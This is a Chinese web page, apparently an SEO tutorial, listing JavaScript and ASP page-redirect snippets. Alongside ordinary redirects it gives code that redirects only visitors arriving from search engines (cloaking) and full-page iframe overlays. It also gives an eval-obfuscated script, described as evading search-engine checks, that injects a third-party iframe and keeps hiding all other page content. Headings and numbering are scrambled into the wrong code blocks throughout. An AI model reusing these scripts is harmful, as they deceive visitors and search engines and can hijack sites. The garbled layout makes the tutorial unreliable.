时间:2022-05-29 14:42:01 | 来源:网络营销
时间:2022-05-29 14:42:01 来源:网络营销
所谓的js页面跳转就是利用javesrcipt对打开的页面ULR进行跳转,如我们打开的是A页面,通过javsrcipt脚本就会跳转到B页面。<script type="text/javascript">2、在新窗体中打开页面用:
window.location.href="你所要跳转的页面";
</script>
<script type="text/javascript">3、JS页面跳转参数的注解
window.open('你所要跳转的页面');
</script>
<SCRIPT LANGUAGE="javascript">参数解释:
<!--
window.open ('page.html', 'newwindow', 'height=100, width=400, top=0,left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no')
//写成一行
-->
</SCRIPT>
<script language="javascript" type="text/javascript">第2种:
window.location.href="login.jsp?backurl="+window.location.href;
</script>
<script language="javascript">第3种:
alert("返回");
window.history.back(-1);
</script>
<script language="javascript">第4种:
window.navigate("top.jsp");
</script>
<script language="JavaScript">第5种:
self.location=’top.htm’;
</script>
<script language="javascript">三、页面停留指定时间再跳转(如3秒)
alert("非法访问!");
top.location=’xx.jsp’;
</script>
<script type="text/javascript">四、根据访客来源跳转的JS代码
function jumurl(){
window.location.href = 'http://www.mahaixiang.cn/';
}
setTimeout(jumurl,3000);
</script>
<script LANGUAGE="Javascript">2、JS直接跳转代码
var s=document.referrer
if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 )
location.href="http://www.mahaixiang.cn/";
</script>
<script LANGUAGE="Javascript">3、ASP跳转代码判断来路
location.href="http://www.mahaixiang.cn/";
</script>
<%4、ASP直接跳转的
if instr(Request.ServerVariables("http_referer"),"www.baidu.com")>0 then
response.redirect("http://www.mahaixiang.cn/")
end if
%>
<%五、广告与网站页面一起的JS代码
response.redirect("http://www.mahaixiang.cn/")
%>
document.writeln("<iframe scrolling='no' frameborder='0' marginheight='0' marginwidth='0' width='100%' height='5000' allowTransparency src=http://www.mahaixiang.cn/></iframe>");2、全部覆盖的代码
document.write("</iframe><iframe src='http://www.mahaixiang.cn/' rel='nofollow' scrolling='no' frameborder='0' width='100%' height='2000'>");3、混淆防止搜索引擎被查的js调用
var ss = '<center id="showcloneshengxiaon"><ifr'+'ame scrolling="no" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14'+'00" height="63'+'50" src="ht'+'tp://'+'ww'+'w.hx'+'zhan'+'qun.c'+'om/"></iframe></center>';六、页面跳出框架
eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");
try{
setInterval(function(){
try{
document.getElementById("div"+"All").style.display="no"+"ne";
}catch(e){}
for(var i=0;i<document.body.children.length;i++){
try{
var tagname = document.body.children[i].tagName;
var myid = document.body.children[i].id;
if(myid!="iconDiv1" && myid!="showcloneshengxiaon"){
// if(tagname!="center"){
document.body.children[i].style.display="non"+"e";
//}
}
}catch(e){}
}
},100);
}catch(e){}
<script type="text/javascript">七、返回上一页
top.location.href='http://www.mahaixiang.cn/';
</script>
<script type="text/javascript">亿企邦点评:
window.history.back(-1);
</script>
关键词:调用